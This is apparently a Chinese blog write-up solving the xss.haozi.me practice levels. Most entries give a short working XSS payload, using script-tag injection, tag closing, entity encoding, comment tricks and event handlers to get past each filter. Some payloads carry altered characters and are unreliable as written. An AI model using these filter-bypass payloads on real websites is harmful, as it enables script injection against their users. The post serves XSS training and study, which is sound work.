当前位置:网站首页>xss.haozi.me练习通关
xss.haozi.me练习通关
2022-07-27 21:08:00 【橙栎】
0x00
这一关也没有啥限制,就直接输出就可以了
< script>alert(0)< /script >

0x01
这一关的输出是在< textarea >标签里面的,但是这个标签只能输入文本,所以只能先将标签闭合,然后进行弹窗。
< /textarea>< script>alert(1)< /script>< textarea>

0x02
这个就是将input标签先闭合上,然后再进行输入弹窗就可以了。
aaa">< script>alert(1)< /script>

0x03
这一关是将括号给过滤掉了,也就是说alert()的括号不可以直接打印出来,所以这里可以采用两种方式,一种是编码的形式,另一种就是使用反引号来代替括号。
< script>alert& #40;1& #41;< /script>
< script>alert``1`< /script>
0x04
这一关和上一关相同,但是它把反引号也过滤了,所以就只能使用编码的方式了。
< script>alert& #40;1& #41;< /script>

0x05
这一关将注释符号(–>)过滤成了一个笑脸的表情,但是我们又需要把注释给闭合上,所以可以使用另一种注释的符号(–!>)
–!>< script>alert(1)< /script><!–

0x06
这里将auto或者on过滤成了_,并且是在input标签输出,所以这里可以将type的值改成imge的形式进行输出,并且使用换行的方式来停止以on开头=结尾变成_。
type="image"src=1 onerror
=alert(1)

0x07
这一关过滤了标签符号,所以没有办法写标签,也没有办法闭合。但是html中img标签是可以不写后面的“>”,因为它有一种纠错机制,
<img type=“image” src=1 οnerrοr=alert(1)//

0x08
这一关限制了不可以对style标签进行闭合,一旦出现< /style>会转变为“坏人”,但是html中将标签换行也是可以识别的,所以可以换行处理标签。
</style
< script>alert(1)< /script>
< style

0x09
这一关必须以https://www.segmentfault.com为开头,否则不能输入,然后就将script标签闭合在写点击事件就可以了。
https://www.segmentfault.com">< /script><svg/οnlοad=alert(1)< script>

0x0A
这里可以使用@的小技巧。
以@分隔的话前面表示的是用户名和密码,后面表示的是登录的网站和端口,也可以以表示重定向到第二个网站。
0x0B
这里用到了将所有字母转大写。可以使用编码来转换。
< svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>
0xC
这一关过滤了script,并且将字母转为大写。可以使用编码来进行。
<svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>

0x0D
这关过滤了斜杠,但是要闭合注释,所以和使用换行的方式。
alert(1)
–>

0x0E
这关和第10关很解法相似,都是指定到其他地方进行调转。
https://[email protected]/te.js

0x0F
将src闭合,然后写弹窗,然后将后面注释
aaa’),alert(1)//
0x10
这里就是直接输入,所以可以直接输入
alert(1)

0x11
这关将一些字符转换了,也是先将那个闭合,然后进行弹窗。
"),alert(1)//

0x12
这一关将"过滤成了",所以可以使用转义符号将先将\转义,就会有耽误了。
"),alert(1)//
边栏推荐
- NB-IoT产业的现状与未来:跨过1亿出货门槛,奔向5G大连接!
- 实现按照序号命名的txt文件由后往前递补重命名文件
- Redis 哈希Hash底层数据结构
- BUUCTF-Dangerous RSA
- Arm32进行远程调试
- The technology of applet container is very promising, which can greatly improve the efficiency of mobile R & D
- Shuffle, partition and read of tfrecord
- 7.6万人停工!东芝宣布关闭日本所有工厂
- JS提升:JS中的数组扁平化问题
- Record the errors about formatc in R language
猜你喜欢

突发,微信重要通知
![[C language] address book (dynamic version)](/img/29/3df19c187bee31ee4671e12d7cc7ff.jpg)
[C language] address book (dynamic version)

西门子PLC能否实时无线采集多处从站模拟量数据?

【JS 逆向百例】某公共资源交易网,公告 URL 参数逆向分析

消息队列常见的几种使用场景介绍

【C语言】通讯录(动态版本)

TCP sticking and unpacking problem + Solution

Latex中如何加粗字体 & 如何打出圆圈序号

The technology of applet container is very promising, which can greatly improve the efficiency of mobile R & D

TOGAF10标准读书会首场活动圆满举办,精彩时刻回顾!
随机推荐
Accelerate IGBT localization! BYD semiconductor will be listed independently, with a market value of 30billion yuan!
Latex中如何加粗字体 & 如何打出圆圈序号
RPA流程自动化机器人是什么技术?如何实现办公自动化?
数据管理的重点
请求合并哪家强——接口请求合并的3种技巧,性能直接爆表
TSMC 3nm detail exposure: transistor density as high as 250million /mm ², Greatly improved performance and energy efficiency
疫情之下,台积电一季度增长超预期,7nm占比35%!二季度或创新高
Redis 哈希Hash底层数据结构
[NPUCTF2020]EzRSA
76000 people shut down! Toshiba announced the closure of all factories in Japan
Those "experiences and traps" in the data center
BUUCTF-RSA roll
Socket interaction process of four waves
Reduce error demonstration
BUUCTF-[BJDCTF2020]RSA1
总投资600亿!富士康半导体高端封测项目正式落户青岛
一加将在2020年释放ODM订单,发力中低端市场
CaEGCN: Cross-Attention Fusion based Enhanced Graph Convolutional Network for Clustering 2021
29.学习Highcharts 使用百分比的堆叠柱形图
Bank Marketing预测一个客户购买理财产品的成功率



